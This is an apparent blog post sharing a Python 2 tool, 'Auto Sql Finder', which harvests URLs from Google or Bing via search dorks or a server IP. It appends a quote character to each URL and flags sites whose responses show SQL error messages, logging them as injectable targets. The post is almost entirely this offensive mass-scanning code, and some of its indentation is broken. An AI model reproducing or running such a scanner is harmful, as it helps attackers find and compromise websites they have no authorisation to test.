RHZ

auto SQL finder

import urllib2
import os
import re
import httplib
from time import sleep
if os.name == 'nt':
os.system('cls') # Windows
else:
os.system('clear') # Linux

def welcome():

print'''
|=======================================================|
|=========            [ r0ckin ] =======================|
|======             [ xj3@live.fr ] ====================|
|=====[ http://www.sec4ever.com m4l4b.blogspot.com ]====|
|=======================================================|
|                 Auto Sql FInder v1                    |
|=======================================================|
'''
print "[1] From Google \n"
print "[2] From Bing \n"
print "[3] From Ip \n"

file=open('lol.txt','w')
file1=open('lol.txt','r')

def getsitesgoogle():
 dork=raw_input("dork : ")
 start=0
 end=490
 sleep(3)
 print "Getting Websites From google ... "
 while start<=end :
  con = urllib2.urlopen('http://startgoogle.startpagina.nl/index.php?start='+str(start)+'&q='+dork)
  readd=con.read()
  find=re.findall('<a href="(.*)" target="_self" onclick="',readd)
  start = start+10
  for i in range(len(find)):
   rez=find[i]+"'"
   file.write(rez + '\n')
   os.system('exit')

  
  
  

def getsitesbing():
 dork=raw_input("dork : ")
 start=0
 end=200
 sleep(3)
 print "Getting Websites From Bing ... "
 while start<=end :
  con = urllib2.urlopen('http://www.bing.com/search?q='+dork+"&first="+str(start))
  readd=con.read()
  find=re.findall('<div class="sb_tlst"><h3><a href="(.*?)" h=',readd)
  start = start+10
  for i in range(len(find)):
   rez=find[i]+"'"
   file.write(rez + '\n')
   os.system('exit')
def findsql():
 file2=open("rez.txt",'a')
 domains=file1.read().split()
 print "Scaning Websites From sql Injection ... "
 for domaine in domains :
   try:
    conn = urllib2.urlopen(domaine)
    readd=conn.read()
    findd=re.findall('/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch_row()|SELECT * FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i|You have an error in your SQL syntax|Microsoft VBScript runtime error',readd)
    if(findd):
     print "Sql FOund=>"+domaine+("\n")
     file2.write(domaine+("\n"))
    else:
print "Not FOund =>"+domaine+("\n")

   except IOError:
    print "Error"

def getsitesip():
 ip=raw_input("Server ip : " )
 dork=raw_input("Dork [ex : id= . php?id=] : " )
 start=0
 end=50000
 print "Getting "+ip+" Websites From Bing ... "
 while start<=end :
  con = urllib2.urlopen('http://www.bing.com/search?q=ip%3A'+ip+'+'+dork+'&first='+str(start))
  readd=con.read()
  find=re.findall('<div class="sb_tlst"><h3><a href="(.*?)" h="ID',readd)
  start = start+10
  for i in range(len(find)):
   rez=find[i]+"'"
   file.write(rez + '\n')
   os.system('exit')

welcome()
ask1=raw_input("Chose Number : ")
if (ask1=='1'):
 getsitesgoogle()
if (ask1=='2') :
 getsitesbing()
if (ask1=='3') :
 getsitesip()


findsql()

0 comments: